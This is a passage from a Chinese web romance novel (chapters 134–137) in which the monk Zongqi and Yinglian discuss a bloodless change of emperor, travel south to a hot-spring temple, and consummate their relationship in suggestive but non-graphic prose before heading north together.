他抬起头，望外头倾进来的天光，那光彩教他想起方才的应怜，美好得不可方物。 它照着他，他便在这缕光中，心境开朗，慢慢重识了自己；一面又不禁惊讶：她怎么那样聪慧，不啻于拿最好的话来褒奖他。她怎么那样惹人爱，又那样爱他？ 天上的明月，竟也有独自照耀一人的时候，那这个人，岂不是世间古今最得意、最欢欣的人？ 这个人是他自己。 应怜仓促裹了一件中衣，蹑足从布帘儿缝隙中向内窥时，瞧见的便是这样一副场景。 厨房里弥漫着黍米的喷香，雾气与火光腾腾摇曳，宗契的脸孔便被灶膛里的火映得通红。他一面添柴拨火，一面若有所思，似乎入了神，嘴角挂着笑。 那笑有些发傻。他两目瞳中又有火焰跃动，无端令人心迷。 应怜松了一口气，掩唇无声地笑，这才放下心来。 她还担心自己是否太过冒失，将他吓得从此走远了。 宗契往常甚是警觉，这会子被窥视了许久，竟一毫儿未觉察。直待应怜作声咳了咳，他才猛地如惊醒，一眼望见她，眸中猛地绽出光亮，长腿一伸，腾地便起了来。 那壁上挂着个旧木架，宗契一头便顶上，又捂着脑袋坐了回去。 如此前所未有的笨拙无措，应怜终于忍不住，放声大笑起来，掀了帘儿近前，摘开他的手，“你这脑袋是铁瓢做的，倒没怎么，反是架子松晃了。” 宗契脸面更红，顷刻头上又教她轻轻吹了吹，应怜晶亮的眸儿眨动在跟前，“怎么，就这么欢喜？” “欢喜。”他喉头动了动，憋出两个字，又怕她更笑话，索性一把拉下来，跌坐在自己膝头。 应怜一阵天地倒转，转眼已如骑马鞍，这使人格外地羞赧，又更生遐思。 胡想的不止她一个。宗契喉结滚动了一下，揽着她薄薄绸料下柔细的腰肢，触手生温，莫名有些干渴，低声问：“你……还成么？” 应怜懵懂不明，顺着他话点头，“还成。” 说着又啄了一口他丰阔的唇。 宗契意动难以抑制，青天白日地又不好太孟浪，便捉着她唇舌，抚着她脑后如云的乌发，再深不过地尝了进去。 两人都有些气喘。宗契轻轻揉着她腰，沿那青丝垂落的一路抚摸，又开口，有些结巴，“疼……么？……酸？” 应怜眨眨眼，恍然领悟，臊得满面通红。 她又不好说什么也没做，仿佛她成心骗他似的，便支吾着去蒙他的眼，“还成、还成……” 他再一次笑起来，下半张脸的鼻唇面庞英气得难以形容，惹得应怜一颗心左突右撞。 “你与我说说，昨日你们仔细的事体？”怕他又说些什么，瞧出破绽，应怜转移了话头。 第135章 第135章雁成其双，共秋长…… 宗契便珍宝似的搂着她，与她讲了一宿前发生的事。 “主营兵马尚未至，六王先带了二千亲兵，叫开洛京城门，乘皇帝銮驾，趁着入夜昏暗，蒙进宫城里。”他说得却也不大细致，只道，“我令人调换殿前各处的巡军，并未随入銮殿。一切安排停当，那郭禧不回则可，一旦回宫便是瓮中捉鳖。” 应怜默想片刻，便一一对上榫头，“入城之事，是元羲与六王里应外合，銮驾车马也是他所备。内宫之中也有接应。先帝的发妻顺成皇后、近侍李胜儿皆暗中憎恨郭禧，因此约定，于昨夜扣住宫人。宫禁换防，便是有人生疑，一旦顺成皇后的谕旨抵达，宫门的守将迫于压力，也不得不从。” 宗契望着她，心中没由来的温柔与欣赏如潮涨涧满，漫上了生春草的堤岸，不禁开口：“果如你亲见一般。城门、宫门皆有人接应，否则我们不会进入得那样轻易。只是你却拿你自己做了一场豪赌，竟连我也瞒了过去。” 他微微粗粝的指腹抚过她鬓发、眼角。应怜闭上眼，感受他热切的目光注视，微赧地一笑，手臂拥去，与他交颈厮磨了一阵。 “不会了，今后再没有瞒你的事了。”她在他耳畔道。 二人权且用了一顿素淡的早食，又寻出店家两套干净衣裳。应怜也做了郎君的打扮，一身青灰的短衫，头巾覆发，干净且爽利。 “如今大局已定，正是封功行赏的时节，你真要走？”她问。 宗契瞧她唇红齿白的鲜朗模样，一晌挪不开眼，忆起在扬州时，也曾见她如此伶俐扮相，如今更比记忆中眉舒眼媚，从头到脚是粗布衣衫掩也掩不住的一段春意风流。 他心猿意马，又微有些困惑：她比从前二年，似乎哪里又不大一样了。 应怜见他目不转睛地盯着自己，心神怡乐，嘴角微微勾着，又叫了他一声。 宗契这才回过神，一刹微动，“嗯？哦，是要走。” 他别了已擦净的刀在腰侧，执了镔铁棍，左右也无行囊包袱，落得一身轻松；才转半个身，却见应怜已并肩身畔，抬脚出了门槛。 “赏赐无非钱财功名，我一出家人，要来何用？”他将昨日念头说出来，却只见她瞥来取笑的眼眸，意态鲜活明媚而不自知。 宗契咳了咳，大掌一按她脑袋，隔绝她盈满笑意的目光，唇齿乃至心口里都热辣辣起来。 “那你这出家人何时还俗呀？”她摘下他的手掌，眸子乌黑晶亮。 宗契任她牵着，又反捉住了她柔软的手，“这一趟先接了萍儿，咱们一道，你去见见我师父，如何？” 应怜笑眯眯地点头。 二人来到空阔寂静的院子，已是金阳洒落，晨曦里一草一木皆生动，枣红战马依旧闲闲懒懒地嚼天嚼地，蓑草席拼拼凑凑的马厩茅顶上，落叶叶缘镀着金红的光，光里折射出悠远的天空。 那马一夜未卸鞍，脾气有些差。宗契简单刷洗了一下马匹，又喂草料，饮了一会，这才又搭了鞍韂兵器，与应怜两个，溜溜达达地牵着马而去。 那客店才买下一夜。应怜锁了院门，有些感喟，“只可惜咱们要离了此地，否则便就张罗起来，我做掌柜，你就……做个茶酒博士，会会南来北往的人，倒也挺好。” “那咱们在代州张罗一家行当，客店、茶坊，不拘什么，你做主便是。”宗契道。 应怜却想起一事，不迭地后悔，“早晓得便多捎些财白出来好了！说要生计，我却没钱，这可怎么好？” 宗契道：“不要紧，我在寺里存了些身家，够生计了。” “那好……”她松一口气，却见他只是笑，便问，“你笑什么？” 宗契不答，应怜便缠着他问，两人走走缠缠，逐渐荒芜的草径里愈走愈远。 到前头老远，秋风吹没了低伏的草迹，高爽的秋阳里才传来湛湛然笑意的回答，鸟雀也不惊动，伴着和悦的声线啾啾鸣空： “笑你长进了，出门记得念叨钱了……” 没几日，义军大部兵马赶至洛京，斗柄移转，尘埃落定。郭氏兄弟相继，继先帝之后，郭禧坐天下八月，未满年，便腾出位子，出诏书禅让与了六王郭显。 这是一次再温和不过的朝堂震荡，温和到朝野并未为此多流一滴血。百姓们日落归家，月出闭户；转过天来，各自开始忙碌一整日的营生时，上头已换了天子。 应怜并不意外，每每想来却仍是为此吃惊，想起郭显那张平静俊秀的面容，又想到了他如何入宁德军、如何从寂寂无名到立稳根基，又如何不动声色地掌握了这一支草莽的 骁勇，只觉如隔云雾，始终瞧不真切。 “单将军呢？他甘心将权柄拱手让人？”她问。 宗契赶了一辆新车——拉车的枣红马对自己从战马沦落为脚力的现状感到委屈，不时喷一喷响鼻，拧拧巴巴地向前走——道：“他并不是为一己之私、便执意动干戈之人。” 应怜若有所思地点头，“郭显之所以这样轻易便得了天下，正因为他姓郭。闹来闹去，不过是郭氏自家的争斗。若换了单将军，朝臣未必肯服。” 宗契深以为然。 一则单铮的兵众毕竟有限，二则他出身草莽，远非郭氏血统，想要取这天下，必得与郭显决裂。到那时干戈再起，也不知这血是否要染厚三尺。 “单将军是个十分得军心的雄主。”应怜叹了口气，掀着车帘，越过他宽阔的肩头，望车前的一条碎石嶙峋的牙道，“只盼郭显心胸当真如他所表现得那般宽厚，能容得下他吧。” 马车徐徐向前，前方漫漫千里，是战事平定后的江宁。 一个月后，二人渡江南来。 渡江的路颇是迂回，只因前一番攻守，渡口毁去了好些，久久也不及重修。也非是守军惫懒，而是附近州县城墙屋舍都在紧锣密鼓地修缮重建，人手很是紧缺。 直到上游至真州，他们才得渡人载车的渡口过江，此时去江宁，反得回西而去。 途中宗契偶逢各路修整的宁德军，有小校报说，守城的吴先生已携将领们的家眷动身前往洛京，如今江宁城中恐怕只剩了不愿走的一些军民。 沿着牙道，又到了上元县。城中各处也在修整，宁德军的身影无处不在，倒是一派百废待兴的繁忙景象。 那牙道因千军万马踩过，已失了旧样，尤其破烂不堪。应怜一路来被颠得浑身骨头缝都酸，因急着去接萍儿，又不似前年游山玩水般轻松，直是有些吃不消；入城后，索性下车，与宗契慢慢地一路走。 四面是叮叮咚咚的凿石声，又有拉倒焦黑残破的木梁墙垣的噼啪声，人们在一座废墟之上重建家园，奔走忙碌，四面交谈。应怜一边走一边瞧，唏嘘的景象看多了，便也习惯了。 忽又有人先瞧见了他们，从一座才起了骨架的桥头奔下来，拨开人群，欢快地叫着跑到近前。 “高僧！柳……应娘子！”他高叫，脸上沾了灰土，眼里却迸出兴奋的光彩。 应怜见他穿了一身像不像样的衷甲，甲片鱼鳞似的密排，在布衣下互相碰撞，很有个威严的架势，一时未认出来，直到宗契出声，“小乙，你如何这副模样？” 一旁有随从递来手巾，小乙擦了把脸。应怜瞧他五官样貌，这才回忆起来，这是从前江宁时，看守宗契宅院的家人。 小乙既激动，又有些不好意思，挥走瞧热闹的兵士，牵了宗契的马，与他们慢慢穿过城，道：“官兵撤走，他们烧毁了许多房屋城墙，到处都在修。这不是人手不够么，我便也来，沾高僧的光，如今也算得一个校尉了。怎样？这身甲足不足够威风？” “威风。”宗契笑道。 他便又问了些江宁中事。小乙晓得他们此来意图，便也道吴览前日里已离开，带了不少人，当中或否有萍儿，他却不大清楚。 宗契瞧一眼应怜，见她虽心情愉悦，脸色却有些憔悴，心中一动，想到一事，便问：“我记得这处有一座延祥寺，寺里有温泉池？” “是！”小乙道，“延祥寺也毁得不轻，不过修得最早，那温泉池想来也疏通了，怎么，二位想去？” 应怜也瞧着宗契。宗契便与她商量，“此去江宁，不过五十里路程，我骑快马，半日便可来回。不如教小乙陪你在延祥寺候半日，你解解乏，我探听个准信，日落前便回，如何？” 应怜想了想，“这却好，我跟着你，车马到底慢，不如你一人独行。” 小乙也满拍胸脯，教他放心，自己必跟紧了应怜，寸步不离。 才是日午，二人说定了，宗契要了匹饱壮的快马，又叮嘱她几句，当即驰向西面江宁而去。 小乙则说说笑笑，拨了些人手，一同送着应怜到了城外延祥寺。他办事缜密仔细，前前后后亲手操持，单为应怜在寺后的温泉池畔辟了一处安静的院落。 一路行来，前头已重修得七七八八，仍有工匠不停地忙活。小乙带来的兵士便也跟着垒垒土、架架梁，不一时忙了开来。 延祥寺的后院静谧，越发听得前头叮铃哐啷的凿锤声响。隔着一道墙，应怜又闻听得有人来问：“厢房才新修，有些灰土，咱们哪一间先洒扫铺整，供客来用？” 又说了什么，凿击声震了过去，而后小乙的布置十分稳当，“西面那间不行，太小……冲南那间？不好，靠着月门，人多眼杂的……最东头那一间便好……这位娘子是贵客，占一间大的怎么了？少废话，快去置办！” 一会儿，却又有妇人捧了罗衣鞋袜、提了铜瓯茶瓶，殷勤带着应怜踩过新砌的小石子路，到了温泉池。 应怜往昔曾来过一回，一般的雾气缭绕，却又新栽了些花木，如今正是桂树盛放，满院温暖馨香；池畔有些碎石堆垒，湿润的石块压伏了凌乱的野草，果是才修整不久。 晌午日头有些沉，起了黑云，风一刮，便有些发紧。温泉池四畔搭了长架，上又有棚顶，虽不见日光，却因泉水更不觉寒冷。应怜谢了妇人，打发人走，独自在这池中泡了小半日，浑身都松快懒散起来。 她解了乏，消了渴，迟迟地穿戴回裙钗装束，将发拧干，见阴翳蒙蔽了日光，也不知黄昏了没有，想询问个时辰，便走出院子，却听得先前那妇人与砌屋的匠人聊天，说的什么膏药。 “才新得的呢，那老大老长一只！”那妇人将臂张开，比出一个长度，声言振振，“在水底下气力可大，能拖人下水；捞上来就弱了，爬也爬不远……” 那匠人问：“那东西你们得了，可怎么处置？” 妇人道：“炼了呗！你不晓得，那一种獭子熬油，比寻常的又更好，陈年累月的旧疮疤也能抹了，往常官府都差人来索要呢！” 应怜听得心中一动，走出来，问道：“是什么样的油膏，当真能去疤？” “可不是！”那妇人见她来了，堆起笑脸，忙来道，“前些时日清河道，网子里钻了只恁大的獭子！才熬了新油，娘子想要？” “若有的话，匀我几分，那果真好。”应怜道。 她想着宗契那一身的疤痕，脸上一道也结了疤，颧骨到侧颊好几寸长，怎么也不忍心，便忙忙地叫了小乙，拿几 贯钱，塞与了更喜笑颜开的妇人。 “够了、够了！”妇人将钱揣在腰下，抬脚就出山寺门，“那能值几分钱？娘子且等着，我取回油膏就来！” 第136章 第136章山外云雨，池畔鸳鸯语…… 那巴掌大的一罐獭子油讨来时，天色黑沉得紧，淅淅沥沥的雨点已落下来，更兼到了昏时。应怜心头揪起，不知宗契可已回程；又怕路上坎坷，或有歹人出没，万一有个好歹，连照应也无。 她又后悔起来，懊悔不该贪那几十里的懒散，驱他独自上路；眼见着雨势愈发地大，秋风又一层紧似一层，吃了饭便拄着伞，到那山寺前张望着等。 昏蒙蒙黯淡的风雾里，冒着雨，遥遥驰来一人一骑，穿过树林，牵马上了平缓山路。 应怜几乎望眼欲穿，才见那高大灰朴的身影到得山场，便提灯撑伞，迎了上去。 雨势越发收不住，宗契浑身湿透，雨水顺着脸颊向下淌，直流入衣领内，接过她手忙脚乱递来的帕子，带她回到本寺。 “萍儿跟着李娘子同去洛京了。”他一面走，将那帕子握在手里，并不去擦。 应怜道好，“有定娘表姐照顾，阿苽又与她玩耍惯了，无一不妥，你无需挂心。” “我也这么想。”宗契瞧向她，只用衣袖抹了把头脸，笑道，“这便不急。咱们先回一趟代州？” 应怜不说话，低头收了伞，塞在他手心里，又扯了那帕子回来，瓷白的面颊凝上一层轻粉，唇微微上翘，像月牙儿那一勾，勾得人心底发酥，却又比月牙儿多了几分嫣红。 她要替他擦一擦脸，伸手到一半，想行人路过瞧见，又怕臊，索性将他往后院里推，“你去温泉池里洗一洗，我教小乙给你拿套干净衣裳。” 宗契眼眸中含笑，低头瞧见她发红的耳尖，染了妆粉一般，沾了细碎的一点雨水，饱满得似凝珠。他应声便心不在焉起来，步子向外走，脸却扭着去望她，又想拿那手指头捻一捻她耳垂，熬得手指尖都发烫，到底被她打发了走。 应怜心跳匀了，这才作若无其事的样儿，教小乙送去了一套衣裳。不一时，小乙回来说话：“衣衫鞋袜簇新的一套都送了去，娘子若无别的吩咐，小子便去睡了。” 她答应一声，留在房中，窗边托腮听着风声雨声。 宗契的屋就在隔壁，也不知他几时才回来。她忽想到，温泉池到此，仍有一截子顺墙根的路，顶风冒雨，又不知他有伞没有，可别洗得一身干净清爽，回来又成了落汤鸡。 她放心不下，干脆又提了盏避雨的风灯，还拄了那一把湿哒哒的伞，深一脚浅一脚地顺墙根摸过去找他。 温泉池附近，风絮雨丝也变得柔和黏腻起来，暖意直往人心缝里钻。应怜小心翼翼绕过新栽的花木，在一汪灯火照映的光亮里向前，转过院墙，果然瞧见深深的浓暗之中，也有一团橙色的暖黄，那是搁在池畔的一只灯笼。半明半暗的光晕里，坐着一人，半身没入池水，水面之上，蒸腾的雾气中，勾勒出大片宽厚的铜色身躯，流镀着灯火金黄的光耀。 应怜的心又不受控制地跳动起来，雨帘垂下，见他闭目凝神的面容断断续续，一时不知该不该上前惊动。 宗契却先听得动静，睁了眼，“小乙？” “是我。”她总有些不大好意思，于是别过眼，一道花架虚虚掩映下，到了池畔对面。 宗契本闲散仰靠石壁旁，腾地坐直，抹一把脸，低沉的声音里携着尚未驱散的懒散，大不似平时，“惜奴？你在那头作甚？” 雨声淅淅沥沥的，应怜隔着稀稀落落藤叶的花架，回答：“我来送伞……” 说罢才迟钝发现，她好像没带伞，只手里这一把。 水声哗动。宗契水中走了过来，近处的边缘停下。应怜再抬头，他已在几步外不远。花架上连着顶棚，潺潺雨幕与花木掩映，为他肩颈与胸膛起伏隆涨的肌肉增添了不真切的模糊感。 他也不知瞧没瞧见应怜的伞，只是笑音从喉间震出，“过来，外头雨大，别受了寒。” 应怜绷紧下颌，抿着唇，耳尖发红地从花架后转了出来，一手拄伞、一手提灯，眼盯脚面，一步一挪地过了来。 地面垒着碎石，雨水流过，松散的土块污腻一片，她险些滑了脚，好容易才入得里间，束手束脚；但扑面的暖意又驱散了清寒，教应怜不由自主放松了身子。 没什么可羞的，她默默念叨，他身上哪处她不曾瞧过？ 宗契卸了平日里警觉与沉稳，再放松不过地泡在池水里，双臂闲散搭在两侧石壁，静静地瞧着她。 她寻了池畔一块平整的青石，盘腿坐下，将风灯搁在身旁，双手交叠，搭在过膝的衣裙上，目不斜视，那模样规矩极了。柔和清澈的火光映亮雾气，氤氲蒸腾之间，笼罩着她昳丽的眉眼，是连笔墨也难描摹出的动人心旌；她坐一会，又飞快地抬眼，在瞧见他身形时，嘴角噙起一丝笑意。 宗契爱极了她如此模样，眼也舍不得眨，贪看了许久，便使得她乌松的鬓发间那只小巧的耳朵又红了一层。 雨帘隔绝了这一方水雾缭绕的小天地。 应怜坐得久了，腿脚生出酸麻，忍不住挪了挪身子。宗契隔着几步之外，这时也缓缓到了她跟前，这一处池水深凹，没在腰腹之上。应怜偏头，微微低垂，红着脸瞧他。 他像一只蛰伏的、已被驯服的猛兽，心甘情愿低她一头，因着主人惧怕他，便有意趴伏在石壁上，侧身对着她，闭上了眼，仿佛专心享受温泉的浸泡。 应怜果真松了一口气，更自在地偏头去瞧他近在咫尺的身形。这个距离，得以再清晰不过地瞧清他隆起的肩和宽阔魁梧的背，伤疤纵横交错地布在起伏与沟壑之间，使得肌理的纹路增添了几分野性狰狞。 水珠滚落在他头与颈、肩与臂之上，又顺着肩胛汇入水中。池水腻滑，淡淡的浑青遮掩了其下光景。分明水汽晕湿，不知为何，应怜却觉得口干舌燥。 宗契闭目，与她说江宁的人与事，声音低沉悦耳，“李娘子去了洛京，大半守将的家眷都同去了。封赏的诏令已至江宁，吴先生任了中书舍人。中书舍人是什么官？” “是为天子草拟诏书的。”他不瞧着，应怜便得以自在地舒展了一下腿脚。 “这么说，是很要紧的官了？”宗契又问。 “也未必，端看官家允不允他兼知制诰，否则便只是空拿饷的官。” 他“嗯”了一声，也不知是懂了，或是因池水舒适而喟叹。应怜心思也活络起来，虽不能如他整个浸进去，索性悄悄褪了鞋袜，撩起些裙裾，便在他身侧，将两只脚伸进了池中。 暖意窜上肌骨，她熨帖地弯了弯眼眉，又小心地避开了他水下的身躯。 两人一上一下，一左一右，靠着池水，说起闲话来。 随入洛京的宁德军将领，各依战功大小，获了官爵，文封文官、武封武将。使人意外的是，单铮被封了大理寺卿，掌刑狱之事。 “好是好，只是……”应怜想不通，“这是个文官，以单将军统兵征战的能耐，他本不该做这样的官。” 她喃喃不解，却见宗契偏过了头，懒懒地支着臂肘，望着她两只水下乱拍的脚，隐约发笑，眉眼在灯火下显得十分幽深，挺直的鼻梁上沾了一点水珠，欲落未落。 应怜瞧得眼发了直，半晌回神，嗓子眼发紧，咳了咳掩饰心虚。 “你呢？”她胡乱地问，声音还是如常，两只脚却在水下绞紧，脚趾蜷了起，“……他们给你封了什么官？” 宗契闻言，略拧了拧眉，很快又松开，似乎短暂划过个微不足道的烦恼，“国师。” 应怜一怔，接着哈哈大笑，池水也跟着泛起急促的涟漪，一圈圈震在了他胸膛上。宗契伸出手，做了件他方才一直想做的事。 应怜不笑了，一瞬满面通红。她的脚被握住了一只，不轻不重地圈在他掌心里。水流温热地淌过，却不如他的手掌更炙烫。 宗契就这么托着她一只不大的脚，本能地指腹在那一排珠圆玉润的脚趾上摩挲而过，激得应怜叫了一声，不比个猫儿声音更大。她一缩脚，半途却卸了力，装模作样地挣了两挣，也就红着脸任他握去了。 “他尽可封，我不受便是。”宗契单手将她足趾笼着，一丝一毫也不放过她每个细微的愉悦神情。 应怜咬着唇，微勾了勾，抵在他掌心，声音很轻，“你可晓得，你这官比他们都显要。且不说荣华富贵，一旦封了，便受天下人敬仰，连你那佛光寺也跟着沾光，可抵得过洛京的大相国寺呢。” “上一位国师是大相国寺的慧行禅祖，他与我师父是同门师兄弟，也不见得师父有多推重他。”宗契说回此事，“且我若受了，便一辈子还不得俗，与你又怎么好？” 应怜乌圆的眼儿盯着她，蒸腾的雾气在眼睫凝成了细碎的水珠。她眨了眨，水珠晕成一片，那双水色横陈的眼眸愈发望进了他心底，“咱 们从前……不也见过出家的僧人，照样娶妻生子。” 宗契心中的爱意与怜意愈炙，松开她的脚，跨近前了一步，在她眼前，微微仰首看着她。热意伴着水汽弥漫，白雾之中，有两人相抵的心跳，错落起伏。 “平白教你受人口舌。”他道，“我也不愿做什么国师，倒不如像你说的，开间客栈茶坊，会南北各色的人。” 应怜噗嗤笑了起来，热气蒸出一副湿红的花容，颊面嫣红，低头瞧着他，伸手指尖拭去了他鼻梁上细密的水珠，拂上他细长伤疤的侧脸，又划过耳畔，最终按在了绷紧坚硬的肩上。 “我做掌柜，你跑腿。”她轻声道。 宗契竟认真考虑了她的话，微微皱眉，“我——嘴皮子不那么利索，行菜还可，唱念却不会。” 应怜笑得前仰后合，“那你做铛头。” “……也不大够。”他犹豫。 “这也不行，那也不行，那你会什么？”她横了他一眼，眸中粼粼的水光几欲溺他深陷，“不如我把这掌柜的位子让与你得了。” 裙裾不知何时已浸湿了，黏腻地乱叠在膝上，与纱白裆裤的裤脚交错，凌乱推在膝头，踝足玉**致，竟使他一掌圈住仍有余。 他近在咫尺，嵌入那一叠罗衣裙衫之间，微微仰头，应怜得以清晰瞧见他沾着水珠的喉结怎样滑动。水珠汇聚、垂落、流淌，又顺着她衣衫的素纱，蔓延到仍未湿透的布衣之中。 宗契英挺的眉峰动了动，眼中透出笑，“那你做什么？” “我做……”她抿了抿发干的唇，低头时一绺散发垂落，发梢湿漉漉地盘旋在他侧颊与肩颈。应怜硬生生编排了一个，“客栈前指挥使！” “那是什么官？”宗契困惑。 应怜道：“就是管辖掌柜的官。” 她说罢，却只见宗契松了神情，不住地笑，便梗着脖子耍赖：“你笑什么？” 他笑了一会，胸膛里逐渐震动平息，心跳却急促起来，双眸湛亮，盯着应怜。 “不是这个名头。”他道。 应怜问：“那是什么？” 宗契便凑到她耳边，忍耐不住，亲上她早已红透的耳廓，低声道：“叫内掌柜。” 第137章 第137章莲生并蒂，人逐欢情意…… 夜雨潺潺靡靡，雨声盖不住狂乱的心跳，也掩不住罗衣轻衫下炙热的情意。 雾黄烛光在应怜眼角。她透过迷蒙湿气，瞧见咫尺的近处，宗契眸中幽深滚烫的暗潮。 她双手撑在他肩头，从肩至颈，感受他皮肤下滚烫的血液在流淌叫嚣。宗契急促地吻从耳畔到了唇边，脸颊的水渍凌乱落下，淌入她被纠缠的唇舌之间。 手被他捉住，指尖指缝一一抚过，激得她颤栗发软，难耐的痒意从头顶直窜到脚尖。涟漪水声之中，她微蜷的足趾划过了他紧绷如铁的侧腰。 应怜觉着热，别过脸喘气。宗契却又亲上了她最脆弱的脖颈，迫得她仰头，眼中早已湿润一片，潮红难以自抑，蔓延上眼角，又在他唇齿沾染的每一处靡丽地绽放。 “你……”她抚上他英挺的脸颊，想要说什么，脑中却仍是他迫切的吻。 宗契胸膛剧烈起伏，勉强秉持一丝理智，唇触碰着她掌心，面上现了难以察觉的愧疚与窘迫，“上回我醉过了头，不大记得……” 应怜被亲得迷迷糊糊，眨了眨潮湿的眼眸，半晌才反应过来他所指什么。 她不由自主地笑起来，前襟的素衣淡而薄，沾湿了凌乱在领口，难掩一片腻如脂玉的莹白，也跟着颤动起来。 “傻子，我诓你的。”她既得意又爱怜，看着他满布情。欲的脸，“那一回你睡过去了。” 宗契呆怔一刹，罕见地浮现了无措的神情，似乎拿她不知该怎么好。 应怜绯红的指尖划过他侧颊黯淡的细疤，向下到涨红的脖颈，又到起伏的胸膛，按在那一块跳得猛烈的心脏上，与他四目相对，面庞犹如春夜凝露的海棠，独怜他一人而悄然绽放。 “这一回……可别再睡了。”她在他耳边极轻声地道。 海棠嫣红，在他复又重燃的炙火之下款款舒展。看花人成了痴，折过春。宵，且与她一生欢好，从今夕始。 也不知如何回的厢房，只记得秋雨经宿，似乎是一枝伞内，卷卷缠缠，踢了门、灭了烛，褪了衣衫。 应怜眼中迷蒙的雾气终于凝成湿意落下来，一夕忍耐温存，将他背上挠出了纵纵横横的红痕。 宗契却也难进难退，帐中哄了又哄，亲了又亲，才生涩地伺候得这个娇娇儿舒艳了眉眼、缱绻了意态，慵慵懒懒地被他揉搓得伏贴了。 末了雨散云收，却仿佛两世为人，血肉里又长出一副血肉来，是玉做的骨、冰做的肌，从此相生相缠，与他一世再不可分。 应怜已累得睡了，花容艳绽尚未收却，鸦青鬓发枕上松散。宗契侧卧在畔，秋雨秋风的夜中凝望着她，唯觉心底满得将要溢出，曾望明月于天上，怎知明月也有心，独独落在他眼前。 他便将这一副冰肌玉骨揽在怀中，亲了亲她尚有泪痕的眼角，黑暗之中温柔与独占的欲。望肆无忌惮地滋生，与她相拥睡去。 一宿的秋雨，清晨时才放晴。小乙提着食盒茶瓶，踩过院墙边湿润的土壤，先到了厢房院东头，宗契高僧的那一间。 门掩着，里头静悄悄的。他扣了三声门，又叫了一声，仍无动静。 他犹豫了一下，推开门，但见里头静息无声，浮尘悠悠，地面是毫不曾沾湿过的清爽，这才放下心，将早食茶饭搁在桌上，也不张罗出食盒，空着手儿，自自在在地把门一掩，依旧走了。 一墙之隔。 应怜捂着宗契的嘴，眼像猫儿似的瞪得圆圆的，大气也不敢出，直待那溜溜达达的脚步声走远了，才猛地松一口气。 宗契忍着笑将她的手捉下来，“走了。” 鸳鸯枕上一双人，应怜瞧瞧他又瞧瞧自己，臊得满面通红，揭衾被盖过头顶，把自己蒙在了里头。 地上凌乱交错着他的与她的衣衫，那一大一小、一黑一红两双鞋也杂沓地扔着。素净的纱帐里，衾裯縠皱，遮不住下头一截温玉似的小腿，只瞧一眼，便叫人口舌发干、心底发烫。 宗契将她从层层布料中剥出来，拂去了蓬散的发，露出那一张嫣红彷如朝霞的美人面，乌眸秋水，一点红唇绽破了樱桃，透着已知了人事的无措的风韵。 大清早的浇不灭火气，宗契多看几眼，便又心浮气躁起来。 应怜本来脸热，略略一瞧，惊恐地将他床下推，“去去去！你这、你这……孽债！” 不想没推动他，却牵了自个儿的腰，往前一歪，恰好被他接住。宗契就跪坐着搂她，心意餍足，与她的慌张相反，将手在她软玉一样的腰肢上极轻地揉捏。 干燥的热意传来，熨帖在腰间。应怜半推半就地趴好，舒适地眯着眼得他侍奉，又口不应心地哼唧两声，娇气性儿做了十足，“疼，酸……” 宗契缓缓地为她揉腰，不说话。 应怜手臂支着下巴，被按得舒爽着了，水润的眸子半阖，又扭回头望他；但见人还是那个人，却彻底破了僧家那一戒，一眼一眉便多了些惹人心动神摇的七情与六欲，在他宽健的胸膛起伏间，在手臂每一牵动时、微显的筋脉间。 她简直对他再喜欢不过。宗契对自己却有些不大确定。 “还是疼么？”他微微皱了眉。 应怜泛红的耳尖藏在云雾半蓬的发里，怎么也难为情与他细究昨夜的感受，只得囫囵点头，又摇头，“疼，也不尽是……后头……哎呀，我饿了！” 宗契便捞了衣裤穿好，背身穿那衣衫时，借着已大亮的天光，应怜清楚地瞧见那些纵横的伤疤之上，昨夜又新添的几道凌乱的红痕。 那一瞬间，一股奇异的感觉涌入心头，仿佛那些情难自已之下的痕迹是她予他的花押印。有了这些，她便 彻彻底底地拥有了眼前的这个再好不过的人。 “小乙想是来送早食。”宗契声音如泉漱石，低沉却清湛，眸中尽是肆意的温情，“我去取来。” 他便要下床。应怜拉住他，“慢着。” 在他询问的目光中，她红着脸，眼中却有笑意，拉过他手臂，示意他俯下身，便在他唇上流连了一串浅浅的吻。 宗契一窒，反衔住她唇舌，屈起一膝在床缘，晨起时那一簇火被轰得点燃，烈烈地向她烧来。应怜一个支撑不住，同着他倒在凌乱不堪的衾褥里。 …… 延祥寺里幽静，前头哐哐啷啷地修声不达后院。温泉池畔，他们又度过了一个昼夜。 白日里众人只道平常。夜来那一间厢房仍是空着；这一边的枕上，有鸳鸯交颈，食髓知味。 梅蕊初开，经不得狂狼，事到临头，应怜哭咬也不济事，只得委委屈屈地跟着他行那夫妻恩爱，到头来她得了滋味，把宗契闹得不亚上了战场，千军万马地破阵，再难禀平日的自持；直将她欺得嗓子也哑了，第二日心满意足地受她数落。 第三日，小乙将路上吃用、车马齐备丰足，亲自送二人离开。 马车被换成了宽敞舒适的内厢，应怜安安稳稳靠在里头，辞别了小乙，随宗契北上代州。 小乙办事十分贴心，行囊里备了各式各样的果子脯条。应怜里头拆出一个包儿，盛的是蜜渍的甜莲子。 莲子无心方甜，那甜入她口中，却更觉心欢。宗契赶车的宽阔背影就在咫尺，应怜拈一粒递去，他微偏头，就着她蜜甜的指尖，张嘴将莲子吃了。 应怜笑眯眯的，一边吃，忽想起一事，“我得给家中去封信，有好些事要嘱咐呢。” “哪些事？”宗契问。 她掰着手指数，“给元羲报平安、请定娘表姐照料妥萍儿、香山寺里逢年过节的香油钱、你赠我的那三株红莲……” 马车不疾不徐，她再喂了他一粒莲子，听宗契含糊地“嗯”了一声。 “那莲花如何？”他问。 “什么如何？”应怜不解，反问，“那回你偷摸着半夜过来，没瞧见？廊下那大瓮里栽的便是。” 宗契拧眉想了许久，唯记那一夜教怒火与妒火冲昏了头，哪还记得什么瓮里莲花？ “那三株莲花虽与旁的没甚不同，可因是你送的，我很喜欢。”应怜说得十分认真。 宗契松开眉头，放缓了缰绳，任那马在牙道上自在地走，侧过半身，含笑的眼眸深深望向她，“那三株并蒂莲，我总想着是你跟我……” “并蒂莲？”应怜纳罕，打断他话，“只是三株寻常的莲花，不是并蒂莲。” 这回轮到宗契发怔，“那花匠说得分明，确是并蒂莲！” 末了得了她好一番笑，又问花了多少钱财买的。宗契脸面黑了又红，红了又黑，“一百贯。” 应怜惊呼。 “……一颗。”宗契脸色彻底黑了。 应怜抹了抹笑出来的泪，忆起当时与他阔别的思念，心中又生起了无限的温柔。 “并蒂莲是世间罕有，并非育种可得。”她慢慢道，“我曾偶一见之，十分玲珑。往后咱们若有缘法，或许也能得见呢。” 宗契捏了捏她的手，却也笑了起来，心头月明在畔，便不去偏求那莲花是否并蒂了。 又行了一会。 他仍是好奇，问：“那并蒂莲果真是什么模样？” 